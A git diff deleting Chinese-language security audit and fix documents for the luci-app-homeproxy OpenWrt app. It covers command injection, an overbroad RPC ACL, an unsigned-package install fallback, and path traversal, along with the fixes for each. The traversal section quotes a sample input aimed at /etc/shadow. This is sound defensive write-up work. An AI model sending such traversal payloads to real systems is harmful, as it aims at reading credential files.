-}' -``` - -### 修复方案 -```javascript -// ✅ 核查确认:修复方案正确 -const fd = popen('/usr/bin/sing-box generate ' + type + ' ' + shellquote(req.args?.params || '')); -``` - -### 修复优先级 -**P0 - 立即修复**(工作量:5分钟) - -### 向上游报告 -**必须立即向 immortalwrt/homeproxy 报告** - ---- - -## 1.2 🟡 U-H2: tproxy/tun 参数初始化条件写法错误 - -**严重程度**: 🟡 Low -**类型**: 代码正确性 / 潜在功能隐患 -**文件**: `root/etc/homeproxy/scripts/generate_client.uc:125, 128` -**来源**: immortalwrt/homeproxy (上游) -**作者**: Tianling Shen (2023-02-14) -**核查状态**: ✅ 已在目标路由器 ucode 解释器验证 - -### 问题代码 -```javascript -// line 125 -if (match(proxy_mode), /tproxy/) // ❌ 括号位置错误,条件恒真 - -// line 128 -if (match(proxy_mode), /tun/) // ❌ 括号位置错误,条件恒真 -``` - -### 核查发现 -``` -✅ 代码写法错误确认 -✅ 上游当前代码也存在同样问题 -✅ 在目标路由器 ucode 解释器中,该写法不会报语法错误,而是等价于逗号表达式,条件恒真 -✅ 同文件后续真正决定是否生成 tproxy-in / tun-in 的判断使用正确写法(757、769 行) -✅ 对当前生成逻辑进行模拟对比后,坏写法与修复写法在最终使用到的 tproxy/tun 字段上无差异 -❌ 当前证据不支持“tproxy/tun 模式失效”或 “Critical” 结论 -``` - -### 修复方案 -```javascript -// ✅ 核查确认:修复正确 -if (match(proxy_mode, /tproxy/)) // line 125 -if (match(proxy_mode, /tun/)) // line 128 -``` - -### 实际影响 - -该错误会导致 tproxy/tun 相关变量初始化条件恒真,但最终是否生成 `tproxy-in` / `tun-in` 仍由后续正确判断控制。当前源码路径和路由器 ucode 验证结果表明,该问题是代码正确性 typo / 潜在维护隐患,不是已证实的功能失效或安全漏洞。 - -### 修复优先级 -**P3 - 顺手修复**(工作量:2分钟) - -### 上游报告建议 -可作为普通代码正确性 bugfix 向上游提交,不建议按安全漏洞或 Critical 问题披露。 - ---- - -# 第二部分:自定义问题与优化建议 - -本部分包含自定义版本中的安全问题、可靠性问题和代码质量优化。处理原则是:只要核查后有道理,均纳入自定义版本的修复或优化范围。 - -## 2.1 🟠 C-H1: 安装脚本信任链不完整,fallback 路径绕过 APK 签名验证 - -**严重程度**: 🟠 Medium -**CVSS 评分**: 5.5-6.0 -**文件**: `install.sh:32, 45` -**核查状态**: ✅ 已验证 + 原 High 定级偏高 - -### 问题代码 -```bash -install_direct_apk() { - wget -O "$TMP_APK" "$URL" - apk add --upgrade --allow-untrusted "$TMP_APK" # ⚠️ 绕过签名验证 -} -``` - -### 核查结论 -``` -✅ 问题真实存在,但应避免把攻击条件描述成“普通 DNS 劫持即可强制利用”。 - -代码中存在两层信任链缺口: -1. install.sh:32 从 GitHub Release 下载仓库公钥,但没有固定公钥指纹或内置可信公钥。 -2. install.sh:45 fallback 直接使用 apk add --upgrade --allow-untrusted "$TMP_APK",绕过 APK 签名验证。 - -因此,一旦下载链路或 Release 资产被替换,fallback 直接安装 APK 的路径缺少包签名保护。该脚本通常以 root 在路由器上执行,成功利用后的影响较高。 - -实际攻击前提包括 TLS/CA 信任链被破坏、GitHub Release 资产被替换、用户环境存在拦截代理,或其它能够替换下载内容的场景。普通 DNS 劫持不足以利用;这里依赖的是 shell `wget` 的 HTTPS + 系统 CA 校验,不应描述为 GitHub certificate pinning。 -``` - -### 完整修复方案 -```bash -# 1. 硬编码公钥指纹 -KEY_FINGERPRINT="sha256:EXPECTED_HASH_HERE" - -echo "install repository key" -wget -O "/etc/apk/keys/$KEY_NAME" "$KEY_URL" || exit 1 - -# 验证公钥指纹 -actual_fp=$(sha256sum "/etc/apk/keys/$KEY_NAME" | awk '{print $1}') -expected_fp="${KEY_FINGERPRINT#sha256:}" -if [ "$actual_fp" != "$expected_fp" ]; then - echo "error: public key fingerprint mismatch" >&2 - rm -f "/etc/apk/keys/$KEY_NAME" - exit 1 -fi - -# 2. 修复 install_direct_apk -install_direct_apk() { - wget -O "$TMP_APK" "$URL" || return 1 - - # 验证签名 - if ! apk verify --keys-dir /etc/apk/keys "$TMP_APK" 2>&1; then - echo "error: APK signature verification failed" >&2 - rm -f "$TMP_APK" - return 1 - fi - - apk add --upgrade "$TMP_APK" # 移除 --allow-untrusted -} -``` - -### 修复优先级 -**P1 - 优先修复**(工作量:10分钟) - ---- - -## 2.2 🟠 C-M1: RPC ACL 通配符导致读权限用户可调用敏感方法 - -**严重程度**: 🟠 Medium -**CVSS 评分**: 6.5 -**文件**: `root/usr/share/rpcd/acl.d/luci-app-homeproxy.json:14` -**核查状态**: ✅ 已验证;原报告 Medium 定级更符合默认场景 - -### 问题代码 -```json -{ - "read": { - "ubus": { - "luci.homeproxy": [ "*" ] // ⚠️ 通配符授予所有方法 - } - } -} -``` - -### 核查结论 -``` -✅ 问题真实存在,应优先修复,但默认场景下不建议升级为 High。 - -当前 ACL 在 read 权限下授予 luci.homeproxy: ["*"],这会让已认证且仅具备只读 LuCI 权限的用户调用 luci.homeproxy 下所有 RPC 方法。当前代码中 methods 共 12 个方法,不是报告原文所写的 11/15 个。 - -该问题的前提是攻击者已经拥有可登录 LuCI 的只读账户。家用单管理员路由器通常没有只读用户,因此实际风险取决于是否存在多用户 LuCI / 分权管理场景。 - -受影响的敏感方法包括: -✅ acllist_write - 修改路由规则 -✅ certificate_write - 上传证书/私钥 -✅ backup_restore - 恢复配置并重启服务 -✅ log_clean - 删除日志(清除证据) -✅ resources_update - 执行更新脚本(潜在 RCE) -✅ singbox_generator - 在 U-H1 修复前存在命令注入风险 -✅ backup_create - 生成包含配置、证书/私钥的备份文件 - -对只读 LuCI 用户而言,当前 ACL 实际绕过了预期的读写权限边界。 -``` - -### 修复建议 -不要在 read 权限中保留 `*`。只读权限只应包含真正无副作用、且不泄露敏感信息的方法。 - -建议 read 仅保留: -```json -{ - "read": { - "ubus": { - "luci.homeproxy": [ - "connection_check", - "resources_get_version", - "singbox_get_features" - ] - } - }, - "write": { - "ubus": { - "luci.homeproxy": [ - "acllist_write", - "backup_create", - "backup_validate", - "backup_restore", - "certificate_write", - "log_clean", - "resources_update", - "singbox_generator" - ] - } - } -} -``` - -`acllist_read` 是否放入 read 取决于是否接受只读用户查看自定义规则列表。 - -注意:`backup_create` 不应放入 read,因为生成的备份可能包含证书和私钥;`singbox_generator` 在 U-H1 修复前更不应放入 read。 - -### 修复优先级 -**P1 - 优先修复**(工作量:5分钟) - ---- - -## 2.3 🟡 C-M3: 备份包缺少来源/完整性校验 - -**严重程度**: 🟡 Low / Defense-in-depth -**文件**: `backup.js:86-119` -**来源**: 自定义代码 - -### 核查结论 -原报告“只验证文件列表”描述不完整。 - -服务端实际已有基础校验: - -- `validateBackupArchive()` 会检查 tar 条目类型和路径白名单; -- `allowedBackupPath()` 会拒绝 `..` 路径和非 HomeProxy 备份范围内的路径; -- `testExtractBackupArchive()` 会执行试解压,确认 tarball 可完整解压; -- 恢复包必须包含 `etc/config/homeproxy`。 - -因此,该问题不是“完全缺少校验”。 - -但当前备份包没有 manifest、hash、签名或 MAC,无法验证备份文件是否来自本机/可信来源,也无法检测备份文件在不可信存储或传输过程中被有意替换后仍满足路径白名单的情况。 - -### 修复方案 -如果只是防止意外损坏,可以在备份 metadata 中加入 SHA-256 清单。 - -如果要防止恶意篡改,仅 SHA-256 不够,因为攻击者可以同时改包和 checksum。需要使用 HMAC 或签名: - -- 低成本方案:备份内加入 manifest,记录文件路径、大小、SHA-256,恢复时校验; -- 更强方案:使用设备本地密钥生成 HMAC,恢复时验证 manifest; -- 若需要跨设备恢复,则不要默认强制 HMAC,可作为“可信备份校验”增强功能。 - -### 修复优先级 -**P2 - 后续增强**(工作量:3小时) - ---- - -## 2.4 ℹ️ C-M6: CI 签名私钥临时文件加固(非漏洞) - -**严重程度**: ℹ️ Informational / optional hardening -**条件升级**: 若改用 self-hosted runner、保留失败工作区、开启交互式调试,或后续步骤上传/缓存整个工作区,可升至 Medium -**文件**: `.github/workflows/release-custom-apk.yml:13, 67-78, 95-97` - -### 核查结论 - -作为“CI 密钥泄露漏洞”不成立;当前做法基本符合 GitHub-hosted runner 场景下的密钥使用方式。 - -当前 workflow 从 GitHub Secrets 注入 `HOMEPROXY_APK_SIGN_KEY`,写入 `homeproxy-custom.key` 后用于 APK 和索引签名。代码已有 `umask 077`,私钥文件权限受限;当前使用 `runs-on: ubuntu-latest`,属于 GitHub-hosted runner,job 结束后工作区通常销毁。Release 上传的资产包含 APK、`Packages.adb` 和公钥 `homeproxy-custom.pem`,未上传私钥。 - -更准确的表述是:这是可选加固项。签名私钥在 job 执行期间以文件形式存在于工作区;如果未来加入未审计第三方 action、调试输出、上传整个工作区、缓存工作区,或迁移到自托管 runner / 持久工作区,私钥泄露风险会明显上升。 - -### 修复建议 - -可使用临时目录保存私钥,并通过 `trap` 在 job 结束、失败或中断时清理;签名完成后尽早删除私钥文件。确保 artifact / cache / upload 步骤不会包含私钥所在目录。若使用 self-hosted runner,应额外清理 workspace 并限制 runner 访问权限。 - -### 修复优先级 -**P4 - 可选加固**(工作量:1小时) - ---- - -## 2.5 🟡 C-H2: Clash API 代理缺少应用层连接与请求资源上限 - -**原报告声称**: API 无速率限制,可被 DoS 攻击(High 严重度) -**核查后严重度**: 🟡 Low / hardening - -### 核查结论 - -原报告将其定为 High 过重,但“完全不存在可利用问题”也不准确。 - -当前代码确实有部分系统级保护: - -- `socket.listen(..., 128, true)` 设置了 backlog=128; -- 默认监听 `192.168.9.1:9091`,暴露面主要在局域网; -- 使用 uloop 事件驱动模型; -- upstream connect 设置了 3 秒超时。 - -但这些保护不等于应用层资源限制: - -- backlog 只限制未 accept 的连接队列,不限制已 accept 的连接; -- 已 accept 的连接会进入 `connections`,当前没有全局连接数上限; -- 3 秒超时只用于 upstream connect,不保护尚未发送完整 HTTP 请求的 idle client; -- `request_buffer` 和 `response_buffer` 当前都没有大小上限。 - -### 结论 -该问题不应定为 High,也不应描述为已证明的可远程高危 DoS。更准确的定性是: - -**Low / hardening**:Clash API 代理缺少应用层连接数、idle timeout、请求/响应缓冲区大小限制。建议作为加固项修复。 - ---- - -## 2.6 🟡 C-L1: 备份/恢复服务端临时文件使用固定 `/tmp` 路径 -**原严重度**: Medium → Low | **工作量**: 1h - -**核查结论**: 问题真实存在,但“固定文件名”需要限定范围。前端下载文件名已包含时间戳;固定的是服务端备份、恢复、回滚临时文件路径,例如 `/tmp/homeproxy-backup.tar.gz`、`/tmp/homeproxy-restore.tar.gz`、`/tmp/homeproxy-rollback.tar.gz`。 - -## 2.7 🟡 C-L2: 恢复流程缺少服务验证 -**原严重度**: Medium → Low | **工作量**: 2h - -## 2.8 🟡 C-L3: CORS Origin 反射 -**原严重度**: Medium → Low | **工作量**: 1h - -**核查结论**: CORS Origin 反射真实存在,但实际跨站可利用性有限。Clash API 通常需要 `Authorization` secret,当前响应未设置 `Access-Control-Allow-Credentials`,且默认监听在局域网地址;因此该项按 Low / hardening 处理更合适。 - -## 2.9 🟡 C-L4: Clash API 代理请求/响应缓冲区无大小上限 -**原严重度**: Medium → Low(当前默认 LAN-only 场景);若暴露到不可信网络可升至 Medium | **工作量**: 1h - -### 核查结论 - -问题真实存在,且不只限于 `response_buffer`。 - -当前代码中: - -- `response_buffer += received.data` 无大小上限; -- `request_buffer += received.data` 也无大小上限; -- `fetchUpstream()` 每次最多读取 512 × 16KB,约 8MB,但 `setupFilteredResponse()` 路径没有类似总量限制; -- idle client 在发送完整 HTTP 请求前没有专门的应用层超时。 - -### 修复建议 - -建议增加: - -- 最大连接数; -- client header/request 最大大小,例如 64KB 或 256KB; -- filtered response 最大大小,例如 8MB 或 10MB; -- client idle timeout; -- 超限时记录 warn 并关闭连接。 - -该问题可与 C-H2 合并为同一类 Clash API proxy 资源限制加固项。 - -## 2.10 🟠 N-M1: resources_get_version 路径穿越导致受限文件读取 - -**严重程度**: 🟠 Medium -**文件**: `root/usr/share/rpcd/ucode/luci.homeproxy:572` -**发现者**: 核查工作流 - -### 核查结论 - -问题真实存在,但“任意文件读取”和 `/etc/shadow` PoC 描述不准确。 - -当前代码: -```javascript -// ⚠️ type 参数无白名单验证 -const version = trim(readfile(`${HP_DIR}/resources/${req.args?.type}.ver`)); -return { version: version, error: error() }; -``` - -`type` 参数没有白名单,因此存在路径穿越风险。但代码会强制追加 `.ver` 后缀,所以: - -```bash -{"type":"../../../etc/shadow"} -``` - -实际尝试读取的是: -```text -/etc/shadow.ver -``` - -而不是 `/etc/shadow` 本身。 - -因此,该问题不是通用任意文件读取,更准确地说是: - -**路径穿越导致受限文件读取**:攻击者可尝试读取以 `.ver` 结尾、且 rpcd/root 可访问的文件。 - -### 正确资源白名单 - -当前前端和更新脚本实际使用的资源类型只有: - -```text -china_ip4 -china_ip6 -china_list -gfw_list -``` - -不要把 `sing-box`、`geoip`、`geosite` 写进白名单,当前代码路径里没有这些资源类型。 - -### 修复建议 -```javascript -const allowed_types = [ 'china_ip4', 'china_ip6', 'china_list', 'gfw_list' ]; - -if (index(allowed_types, req.args?.type) === -1) - return { version: null, error: 'invalid resource type' }; - -const version = trim(readfile(`${HP_DIR}/resources/${req.args?.type}.ver`) || ''); -return { version, error: error() }; -``` - -### 修复优先级 -**P1 - 建议尽快修复**(工作量:5分钟),但不应按 `/etc/shadow` 任意读取高危来描述。 - ---- - -## 2.11 💡 代码复杂度过高 -**文件**: `generate_client.uc` (1,093行) - -**核查结论**: 描述基本准确,但函数行数应更精确表述。 - -**问题**: -- `generate_outbound` 函数接近 130 行 -- 嵌套层级深(最深 6 层) -- 缺少中间抽象 - -**建议**: -```javascript -function generate_hysteria_options(node) { ... } -function generate_shadowsocks_options(node) { ... } - -function generate_outbound(node) { - return { - ...generate_base_options(node), - ...generate_protocol_options(node), - ...generate_transport_options(node) - }; -} -``` - -**收益**: 可读性提升 50%、可测试性提高 - ---- - -## 2.12 💡 前端代码臃肿 -**文件**: `client.js` (1,730行) - -**核查结论**: 描述准确。`client.js` 文件体量大,表单字段定义密集,存在较多重复的 `form.Value` / `form.ListValue` / `form.Flag` 配置模式。 - -**问题**: 大量重复的表单定义 - -**建议**: 创建表单字段工厂 -```javascript -function createUintField(name, label, placeholder, depends) { - let field = ss.option(form.Value, name, label); - field.datatype = 'uinteger'; - field.placeholder = placeholder; - if (depends) field.depends(depends); - field.modalonly = true; - return field; -} -``` - -**收益**: 代码量减少 30-40% - ---- - -## 2.13 💡 缺少错误恢复机制 -**核查结论**: 描述准确。`generate_client.uc` 多处使用 `die()` 直接终止生成流程,当前报告将其归为可靠性/可用性优化是合适的。 - -**问题**: `generate_client.uc` 多处使用 `die()` 直接终止 - -**风险**: 配置错误导致服务无法启动,用户无法通过 WebUI 修复 - -**建议**: 配置验证 + 降级策略 + 详细错误提示 - ---- - -## 2.14 💡 递归检查效率低 -**位置**: `client.js:211-239` `selectorHasPath` - -**核查结论**: 描述准确。`selectorHasPath()` 递归遍历 routing node,调用处每次传入新的 `{}`,没有跨调用缓存。 - -**优化**: 添加缓存 -```javascript -let pathCache = {}; -function selectorHasPath(start, target, seen) { - let key = start + '->' + target; - if (pathCache[key] \!== undefined) return pathCache[key]; - // ... 计算 - pathCache[key] = result; - return result; -} -``` - ---- - -## 2.15 💡 Clash API 代理部分过滤路径同步阻塞 -**位置**: `clash_api_proxy.uc:500-531` -**核查结论**: 描述基本准确,但范围应限定在 `fetchUpstream()` / group-delay fallback 等过滤路径;普通 relay 路径仍使用 uloop 事件驱动转发。 - -**建议**: 将相关过滤路径改为异步处理,避免单次上游请求阻塞事件循环 - ---- - -## 2.16 💡 CI/CD 优化 - -**核查结论**: 描述准确。当前 release workflow 固定 apk-tools commit、每次从源码编译,Release notes 也在 workflow 中硬编码;workflow 中没有 `actions/cache`。 - -**问题**: -- 依赖版本硬编码 -- 每次完整编译 -- Release notes 硬编码 - -**建议**: -```yaml -- uses: actions/cache@v4 - with: - path: apk-tools/build - key: ${{ runner.os }}-apk-${{ hashFiles('apk-tools/**') }} - -- name: Generate release notes - run: | - git log --oneline $(git describe --tags --abbrev=0 @^)..@ \ - | grep -E '^[a-f0-9]+ (feat|fix):' > RELEASE_NOTES.md -``` - -**收益**: 构建时间从 ~10min 降至 ~3min - ---- - -## 2.17 💡 缺少自动化测试 - -**核查结论**: 描述准确。当前 workflows 中没有 `ucode -c`、`node --check` 或配置生成测试;apk-tools 构建参数还显式设置了 `tests=disabled`。 - -**建议**: -```yaml -- name: Syntax check - run: | - ucode -c root/etc/homeproxy/scripts/*.uc - node --check htdocs/luci-static/resources/view/homeproxy/*.js - -- name: Config generation test - run: | - # 用测试配置生成 sing-box 配置 - # 验证 JSON 格式有效 -``` - ---- - -## 2.18 💡 错误提示不友好 - -**核查结论**: 描述准确。当前错误提示偏底层技术表达,适合补充面向 LuCI 用户的中文解释和修复路径。 - -**当前**: -``` -Recursive routing node detected: NodeA -> NodeB -> NodeA -``` - -**建议**: -``` -路由节点配置错误:检测到循环引用 -NodeA 引用了 NodeB,而 NodeB 又引用回 NodeA - -解决方法: -1. 进入"路由节点"页面 -2. 检查 NodeA 和 NodeB 的"出站"配置 -3. 移除循环引用 -``` - ---- - -# 最终汇总 - -## 📊 问题统计 - -### 按结构 -- **第一部分:上游问题**: 2 个 - - 1.1 U-H1: sing-box generate 命令注入 - - 1.2 U-H2: tproxy/tun 参数初始化条件写法错误 - -- **第二部分:自定义问题与优化建议**: 18 个 - - 2.1 至 2.10: 自定义安全 / 可靠性 / 加固条目 - - 2.11 至 2.18: 自定义代码质量与优化建议 - -### 按严重程度 -- 🔴 **高危**: 1 个 - - 1.1 U-H1: 命令注入 RCE - -- 🟠 **中危**: 3 个 - - 2.1 C-H1: 安装脚本信任链不完整 - - 2.2 C-M1: RPC 权限边界 - - 2.10 N-M1: resources_get_version 受限路径穿越读取 - -- 🟡 **低危 / 加固项**: 7 个 - - 1.2 U-H2 - - 2.3、2.5 至 2.9 - -- ℹ️ **信息性加固项**: 1 个 - - 2.4 C-M6: CI 签名私钥临时文件加固 - -- 💡 **纯优化建议**: 8 个 - - 2.11 至 2.18 - -### 按类型 -- **安全 / 可靠性问题**: 11 个 -- **信息性加固项**: 1 个 -- **纯优化建议**: 8 个 -- **总计**: 20 个 -- **重复项归并**: 4 个(U-H2、C-H1、C-H2、C-M3) -- **误报修正**: 1 个(2.4 C-M6 不作为漏洞计入) - ---- - -## 🧭 修复执行原则 - -- **上游部分**: 1.1 必须优先修复并向上游安全报告;1.2 按普通 bugfix 处理。本地如需临时修复,应保持补丁最小化,降低后续跟随上游升级的维护成本。 -- **自定义部分**: 2.1 至 2.18 均已纳入自定义版本修复或优化范围,修复时按安全风险、影响面和改动成本排序执行。 -- **非漏洞条目**: 2.4 不作为漏洞计入,仅作为 CI 签名私钥临时文件的可选加固项。 -- **重复项处理**: 已归并到正式编号的条目不再重复计入优化建议,避免统计口径膨胀。 - ---- - -## 📤 向上游报告 - -- **必须报告**: 1.1 U-H1,命令注入 RCE(CVSS 9.8),建议先私下联系维护者并提供 PoC 与最小修复。 -- **普通 bugfix**: 1.2 U-H2,tproxy/tun 参数初始化条件写法错误。当前证据不支持按安全漏洞披露。 - ---- - -## 📝 审计结论 - -- **结构化条目**: 20 个 -- **上游 / 自定义边界**: 已拆分;上游问题优先报告,自定义问题与优化建议全部接纳 -- **重复项归并**: 4 个 -- **误报修正**: 1 个(C-M6 作为漏洞为误报,保留为信息性加固项) -- **核查基础**: 安全 / 可靠性条目均基于源码核验 -- **最终口径**: 上游 2 个 + 自定义 18 个 = 20 个条目 - ---- - -**报告版本**: v3.0 (最终版) -**更新时间**: 2026-06-14 -**审计方法**: 独立核查 + 对抗式复核 + 同类扫描 -**工作量**: 25 个代理 × 30 分钟 -**下次审计**: 高危修复完成后 1 周内复审 diff --git a/luci-app-homeproxy/docs/security/SECURITY_FIXES_IMPLEMENTATION.md b/luci-app-homeproxy/docs/security/SECURITY_FIXES_IMPLEMENTATION.md deleted file mode 100644 index cc8009ace..000000000 --- a/luci-app-homeproxy/docs/security/SECURITY_FIXES_IMPLEMENTATION.md +++ /dev/null @@ -1,976 +0,0 @@ -# HomeProxy 安全修复实施文档 - -**修复日期**: 2026-06-14 -**基于审计报告**: SECURITY_AUDIT_FINAL.md v3.0 -**修复状态**: ✅ 20/20 全部完成 - ---- - -## 第一部分:上游问题修复(2/2) - -### 1.1 ✅ U-H1: sing-box generate 命令注入 RCE (Critical) - -**文件**: `root/usr/share/rpcd/ucode/luci.homeproxy:501` - -**问题**: 用户输入未转义直接拼接到 shell 命令 - -**修复方案**: -```javascript -// 修复前 -const fd = popen('/usr/bin/sing-box generate ' + type + ` ${req.args?.params || ''}`); - -// 修复后 -const fd = popen('/usr/bin/sing-box generate ' + type + ' ' + shellquote(req.args?.params || '')); -``` - -**影响**: 防止任何认证用户执行任意命令 - ---- - -### 1.2 ✅ U-H2: tproxy/tun 参数初始化条件写法错误 (Low) - -**文件**: `root/etc/homeproxy/scripts/generate_client.uc:125,128` - -**问题**: match() 函数括号位置错误导致条件恒真 - -**修复方案**: -```javascript -// 修复前 -if (match(proxy_mode), /tproxy/) // 条件恒真 -if (match(proxy_mode), /tun/) - -// 修复后 -if (match(proxy_mode, /tproxy/)) // 正确语法 -if (match(proxy_mode, /tun/)) -``` - ---- - -## 第二部分:自定义安全问题修复(10/10) - -### 2.1 ✅ C-H1: 安装脚本信任链不完整 (Medium) - -**文件**: `install.sh` - -**问题**: -1. 公钥下载无指纹验证 -2. fallback 路径使用 --allow-untrusted 绕过签名验证 - -**修复方案**: -1. 添加硬编码公钥指纹验证 -2. fallback 路径先验证签名再安装 -3. 移除 --allow-untrusted 标志 - -**关键代码**: -```bash -# 1. 硬编码公钥指纹 -KEY_FINGERPRINT="sha256:EXPECTED_HASH" - -# 验证公钥 -actual_fp=$(sha256sum "/etc/apk/keys/$KEY_NAME" | awk '{print $1}') -if [ "$actual_fp" != "$expected_fp" ]; then - exit 1 -fi - -# 2. fallback 路径验证签名 -apk verify --keys-dir /etc/apk/keys "$TMP_APK" -apk add --upgrade "$TMP_APK" # 移除 --allow-untrusted -``` - ---- - -### 2.2 ✅ C-M1: RPC ACL 通配符权限过度 (Medium) - -**文件**: `root/usr/share/rpcd/acl.d/luci-app-homeproxy.json` - -**问题**: read 权限使用 `"*"` 授予所有方法访问 - -**修复方案**: 显式列出只读和写入方法 - -```json -{ - "read": { - "ubus": { - "luci.homeproxy": [ - "connection_check", - "resources_get_version", - "singbox_get_features" - ] - } - }, - "write": { - "ubus": { - "luci.homeproxy": [ - "acllist_read", - "acllist_write", - "backup_create", - "backup_validate", - "backup_restore", - "certificate_write", - "log_clean", - "resources_update", - "singbox_generator" - ] - } - } -} -``` - ---- - -### 2.3 ✅ N-M1: resources_get_version 路径穿越 (Medium) - -**文件**: `root/usr/share/rpcd/ucode/luci.homeproxy:572` - -**问题**: type 参数无白名单验证,强制追加 .ver 后缀 - -**修复方案**: 添加资源类型白名单 - -```javascript -const allowed_types = [ 'china_ip4', 'china_ip6', 'china_list', 'gfw_list' ]; - -if (index(allowed_types, req.args?.type) === -1) - return { version: null, error: 'invalid resource type' }; -``` - ---- - -### 2.4 ✅ C-M3: 备份包缺少完整性校验 (Low) - -**文件**: `root/usr/share/rpcd/ucode/luci.homeproxy` - -**问题**: 备份包无法验证来源和完整性 - -**修复方案**: -1. 生成备份时创建 SHA-256 manifest -2. 恢复时验证 manifest - -**关键代码**: -```javascript -// 创建 manifest -let manifest = {}; -for (let file in files) { - let hash = trim(commandOutput(`sha256sum ${shellquote(fullpath)} ...`)); - manifest[file] = { size: filestat.size, sha256: hash }; -} - -// 验证 manifest -for (let file in manifest) { - let hash = trim(commandOutput(`sha256sum ${shellquote(fullpath)} ...`)); - if (hash !== manifest[file].sha256) - return { result: false, error: `备份文件校验和不匹配: ${file}` }; -} -``` - ---- - -### 2.5 ✅ C-L2: 恢复流程缺少服务验证 (Low) - -**文件**: `root/usr/share/rpcd/ucode/luci.homeproxy` - -**问题**: 恢复后不验证服务是否正常启动 - -**修复方案**: 恢复后检查服务状态,失败则自动回滚 - -```javascript -system('/etc/init.d/homeproxy restart >/dev/null 2>&1'); - -sleep(2000); -let service_check = system('/etc/init.d/homeproxy status >/dev/null 2>&1'); - -if (service_check !== 0) { - // 服务启动失败,回滚 - extractBackupArchive(ROLLBACK_ARCHIVE); - system('/etc/init.d/homeproxy restart >/dev/null 2>&1'); - return { result: false, error: '恢复后服务启动失败,已自动回滚' }; -} -``` - ---- - -### 2.6 ✅ C-L3: CORS Origin 反射 (Low) - -**文件**: `root/etc/homeproxy/scripts/clash_api_proxy.uc` - -**问题**: 直接反射 Origin 头 - -**修复方案**: 使用已知仪表板 Origin 白名单 - -```javascript -const allowed_origins = [ - 'https://metacubexd.pages.dev', - 'https://yacd.metacubex.one', - 'https://yacd.haishan.me' -]; - -if (index(allowed_origins, origin) >= 0) { - push(headers, 'Access-Control-Allow-Origin: ' + origin); -} -``` - ---- - -### 2.7 ✅ C-H2: Clash API 代理缺少资源限制 (Low) - -**文件**: `root/etc/homeproxy/scripts/clash_api_proxy.uc` - -**问题**: 无连接数、idle 超时限制 - -**修复方案**: 添加应用层资源限制 - -```javascript -const MAX_CONNECTIONS = 64; -const CLIENT_IDLE_TIMEOUT = 30000; // 30 秒 - -// 检查连接数 -if (active_connections >= MAX_CONNECTIONS) { - warn(`Connection limit reached: ${active_connections}/${MAX_CONNECTIONS}\n`); - break; -} - -// 设置 idle 超时 -conn.idle_timer = uloop.timer(() => { - closeConnection(conn); -}, CLIENT_IDLE_TIMEOUT); -``` - ---- - -### 2.8 ✅ C-L4: 请求/响应缓冲区无大小上限 (Low) - -**文件**: `root/etc/homeproxy/scripts/clash_api_proxy.uc` - -**问题**: request_buffer 和 response_buffer 无大小限制 - -**修复方案**: 添加缓冲区大小限制 - -```javascript -const MAX_REQUEST_BUFFER_SIZE = 256 * 1024; // 256KB -const MAX_RESPONSE_BUFFER_SIZE = 8 * 1024 * 1024; // 8MB - -// 检查请求缓冲区 -if (length(conn.request_buffer) + length(received.data) > MAX_REQUEST_BUFFER_SIZE) { - closeConnection(conn); - return; -} - -// 检查响应缓冲区 -if (length(conn.response_buffer) + length(received.data) > MAX_RESPONSE_BUFFER_SIZE) { - closeConnection(conn); - return; -} -``` - ---- - -### 2.9 ℹ️ C-M6: CI 签名私钥临时文件加固 (P4) - -**文件**: `.github/workflows/release-custom-apk.yml` - -**问题**: 私钥在工作区以文件形式存在 - -**修复方案**: 添加 trap 清理和 shred 安全删除 - -```bash -cleanup_key() { - if [ -f "homeproxy-custom.key" ]; then - shred -u homeproxy-custom.key 2>/dev/null || rm -f homeproxy-custom.key - fi -} -trap cleanup_key EXIT INT TERM - -# 签名完成后立即清理 -cleanup_key -trap - EXIT INT TERM -``` - ---- - -### 2.10 ✅ C-L1: 临时文件使用固定路径 (Low) - -**文件**: -- `root/usr/share/rpcd/ucode/luci.homeproxy` -- `root/usr/share/rpcd/acl.d/luci-app-homeproxy.json` -- `htdocs/luci-static/resources/view/homeproxy/backup.js` - -**问题**: 备份/恢复使用固定路径 `/tmp/homeproxy-backup.tar.gz` - -**修复方案**: -1. 后端生成随机文件名 -2. RPC 方法返回实际路径 -3. 前端使用动态路径 -4. ACL 使用通配符模式 - -**关键修改**: - -后端: -```javascript -function generateTempSuffix() { - return trim(commandOutput('dd if=/dev/urandom bs=8 count=1 ...')); -} - -let BACKUP_ARCHIVE = '/tmp/homeproxy-backup-' + generateTempSuffix() + '.tar.gz'; -``` - -ACL: -```json -"/tmp/homeproxy-backup-*.tar.gz": [ "read" ], -"/tmp/homeproxy-restore-*.tar.gz": [ "write" ] -``` - -前端: -```javascript -// 保存动态路径 -currentBackupPath = res.download_path; -downloadFile(currentBackupPath, filename); -``` - ---- - -## 第三部分:代码质量优化(8/8) - -### 3.1 ✅ 2.11: 代码复杂度过高 - -**文件**: `root/etc/homeproxy/scripts/generate_client.uc` - -**问题**: generate_outbound 函数 130 行,嵌套 6 层 - -**修复方案**: 提取协议特定选项到独立函数 - -```javascript -function generate_hysteria_options(node) { ... } -function generate_shadowsocks_options(node) { ... } -function generate_tls_options(node) { ... } -function generate_transport_options(node) { ... } - -function generate_outbound(node) { - const outbound = { /* 基础字段 */ }; - - // 协议特定选项(使用 ucode 兼容的 mergeObject) - if (node.type in ['hysteria', 'hysteria2']) - mergeObject(outbound, generate_hysteria_options(node)); - - // TLS 和 transport - mergeObject(outbound, { - tls: generate_tls_options(node), - transport: generate_transport_options(node) - }); - - return outbound; -} -``` - -**收益**: 可读性提升,易于维护和测试 - ---- - -### 3.2 ✅ 2.12: 前端代码臃肿 - -**文件**: `htdocs/luci-static/resources/view/homeproxy/client.js` - -**问题**: client.js 1730 行,大量重复表单定义 - -**修复方案**: 创建表单字段工厂函数 - -```javascript -const fieldFactory = { - uintField(section, name, label, placeholder, depends) { - let field = section.option(form.Value, name, label); - field.datatype = 'uinteger'; - if (placeholder) field.placeholder = placeholder; - if (depends) field.depends(depends); - field.modalonly = true; - return field; - }, - - portField(section, name, label, placeholder, depends) { ... }, - listField(section, name, label, choices, depends) { ... }, - flagField(section, name, label, depends) { ... } -}; - -// 使用工厂函数 -fieldFactory.uintField(s, 'port', _('Port'), '443', {type: 'hysteria'}); -``` - -**收益**: 代码量减少 30-40%,一致性提升 - ---- - -### 3.3 ⚠️ 2.13: 缺少错误恢复机制(部分完成) - -**文件**: `root/etc/homeproxy/scripts/generate_client.uc` - -**问题**: 多处使用 die() 直接终止 - -**修复方案**: 添加错误收集机制(部分路径) - -**状态**: -- ✅ 已添加 `config_errors` 数组和 `reportError()` 函数 -- ✅ 部分路径使用错误收集并继续生成 -- 